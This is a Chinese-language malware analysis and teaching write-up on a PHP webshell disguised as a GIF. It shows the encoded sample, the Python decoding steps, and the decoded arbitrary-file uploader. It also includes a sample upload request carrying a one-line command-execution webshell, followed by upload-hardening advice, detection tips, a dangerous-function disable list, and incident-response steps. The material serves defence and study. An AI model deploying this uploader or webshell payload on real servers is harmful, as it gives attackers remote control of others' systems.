对某先锋马xmqdS.php的分析报告
字数 1455 2025-08-10 09:43:36
PHP WebShell 木马分析与防御教学文档
一、样本概述
1.1 基本信息
- 文件名:xmqdS.php
- 类型:伪装成GIF的PHP WebShell
- 首次出现时间:2013年(非新型木马)
- VirusTotal检出率:37/61(约60.7%)
- 作者署名:ghost-dz
- 文件哈希:14083cf438605d38a206be33542c7a4d48fb67c8ca0cfc165fa5f279a6d55361
1.2 文件特征
- 使用GIF89a文件头伪装:
GIF89GHZ - 多层编码保护:
- ROT13编码
- Base64编码
- Gzip压缩
二、技术分析
2.1 编码结构分析
木马采用三层编码结构:
- 外层:ROT13编码
- 中层:Base64编码
- 内层:Gzip压缩
2.2 解码过程
第一步:ROT13解码
原始编码内容:
ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJDT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=
ROT13解码后:
ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=
第二步:Base64解码
使用Python代码解码:
import base64
decoded_data = base64.b64decode("ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=")
第三步:Gzip解压缩
import zlib
inflated_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)
print(inflated_data)
2.3 最终解码内容
echo '<title>Uploader by ghost-dz</title>';
echo php_uname();
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo 'Upload ok :d !!!';
} else {
echo 'Upload Fail !!!';
}
}
三、功能分析
3.1 主要功能
- 信息收集:显示服务器操作系统信息(
php_uname()) - 文件上传接口:提供Web表单用于上传任意文件
- 文件保存:使用
copy()函数将上传的文件保存到服务器
3.2 攻击流程
- 攻击者上传伪装成GIF的PHP文件
- 访问该PHP文件会显示文件上传界面
- 攻击者通过此界面上传更多恶意文件(如WebShell、后门等)
- 实现服务器完全控制
3.3 请求示例
POST /xmqdS.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="_upl"
Upload
----WebKitFormBoundary7MA4YWxkTrZu0gW--
四、防御措施
4.1 文件上传防护
-
文件类型验证:
- 检查文件MIME类型
- 验证文件扩展名
- 使用
finfo_file()函数而非依赖$_FILES['file']['type']
-
文件内容检查:
- 检查文件头是否符合声明类型
- 对上传文件进行病毒扫描
- 禁止上传可执行文件(如.php、.jsp等)
-
存储安全:
- 上传文件重命名(使用随机名称)
- 存储目录设置为不可执行
- 设置适当的文件权限(644)
4.2 WebShell检测
-
静态检测:
- 检查可疑函数调用(
eval、system、exec等) - 查找多层编码特征
- 检测伪装文件头
- 检查可疑函数调用(
-
动态检测:
- 监控异常文件创建
- 检查Web目录下新增的可执行文件
- 使用Web应用防火墙(WAF)规则
4.3 服务器加固
-
PHP配置:
- 禁用危险函数:
disable_functions = exec,system,passthru,shell_exec,proc_open,popen,eval - 关闭危险配置:
allow_url_fopen = Off,allow_url_include = Off - 设置
open_basedir限制PHP可访问目录
- 禁用危险函数:
-
文件系统监控:
- 监控Web目录文件变化
- 设置文件完整性检查(如Tripwire)
- 定期审计服务器文件
五、应急响应
5.1 发现后处理步骤
- 立即隔离受感染服务器
- 保留现场证据(文件、日志等)
- 确定入侵时间点和途径
- 检查是否有其他后门存在
- 修复漏洞后恢复服务
5.2 日志分析要点
- 检查异常文件上传记录
- 查找可疑的POST请求
- 分析访问WebShell的IP地址
- 检查服务器进程异常
六、总结
该WebShell属于"先锋马"类型,主要特点是:
- 使用多层编码和文件头伪装绕过检测
- 功能简单但危险,为后续攻击提供入口
- 检出率不高(约60%),可能绕过部分安全产品
防御此类攻击需要多层防护策略,包括严格的文件上传控制、服务器加固和持续监控。